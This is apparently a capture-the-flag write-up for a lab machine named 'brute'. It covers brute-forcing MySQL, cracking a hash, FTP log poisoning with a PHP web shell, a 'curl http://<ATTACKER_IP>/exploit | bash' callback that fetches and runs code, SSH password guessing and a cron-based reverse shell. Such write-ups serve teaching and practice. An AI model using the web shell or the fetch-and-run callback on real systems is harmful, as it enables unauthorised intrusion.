Skip to content
AO.GitHub
← All write-ups
FIELD NOTES / PORTFOLIO

brute

Reconnaissance

An ICMP response confirmed that the target was reachable. 2024-02-03_20-15.png

I used RustScan for port discovery.

2024-02-03_22-14.png

Ports 21, 22, 80, and 3306 were open.

I followed up with Nmap service and version detection.

2024-02-03_22-17.png

The results identified FTP, SSH, HTTP, and MySQL.

Enumeration

I tested anonymous FTP access.

2024-02-03_20-27.png

Anonymous FTP login failed. The HTTP service presented a login form; source inspection and common credentials did not provide access.

I tested the MySQL service with Hydra. It returned candidate credentials, which I verified with a direct login.

2024-02-03_22-21.png

I tested the candidate credentials against MySQL.

2024-02-03_22-24.png

The MySQL login succeeded.

I enumerated the database contents.

2024-02-03_22-27.png

A table contained a username and password hash.

John the Ripper recovered the password. 2024-02-03_22-37.png

I used those credentials at the web login form.2024-02-03_22-57.png

and it was successful.

The authenticated interface exposed a viewer for FTP login logs.

2024-02-03_23-04.png

Because the application displayed FTP log entries, I tested whether PHP code in a username would be interpreted when the log was rendered.

I supplied the following PHP as an FTP login value:

<?php system($_GET['cmd']); ?>

I reopened the log viewer.

2024-02-06_19-44.png

The response included command output identifying the process as www-data, confirming code execution in this lab.

I hosted a Bash callback script on the attacker machine, started a listener, and used the command execution path to fetch and run it.

The recorded invocation was equivalent to curl http://<ATTACKER_IP>/exploit | bash.

2024-02-06_22-08_1.png

The payload initiated a callback.

2024-02-06_22-08.png

Access as Adrian

I investigated the adrian account.

A readable .reminder file suggested a base word, John the Ripper’s best64 rule set, and an appended exclamation mark. I used that hint to build candidate SSH passwords.

I placed ettubrute in a wordlist and generated rule-based candidates.

john --wordlist=adrian.txt --rules=best64 --stdout > potentials

2024-02-06_22-37.png

A short Python script appended ! to each candidate.

2024-02-06_22-47.png

I tested the candidates against SSH.

The test found a valid password.

2024-02-06_23-11_1.png

I authenticated over SSH as adrian.

2024-02-06_23-11.png

The SSH session provided access to the user flag.

2024-02-06_23-14.png

Privilege escalation

The home directory contained punch_in and punch_in.sh.

I inspected their contents and permissions.

The files are shown below. 2024-02-06_23-28.png

2024-02-06_23-54.png

punch_in.sh updated punch_in every minute. The current user could write punch_in but could only read the script.

I also examined the FTP-related files.

2024-02-07_00-07.png

A script under /FTP/files appeared to execute the last line of the writable punch_in file through /bin/sh. This created an execution path from a lower-privileged writable file.

I placed a callback command in punch_in and started a Netcat listener.

2024-02-07_17-56.png

The scheduled execution produced a reverse connection and access to the final flag.

Outcome

MySQL credentials led to the web portal, FTP log inclusion yielded a shell, a password hint enabled SSH access as adrian, and a writable file consumed by a scheduled script provided the final escalation.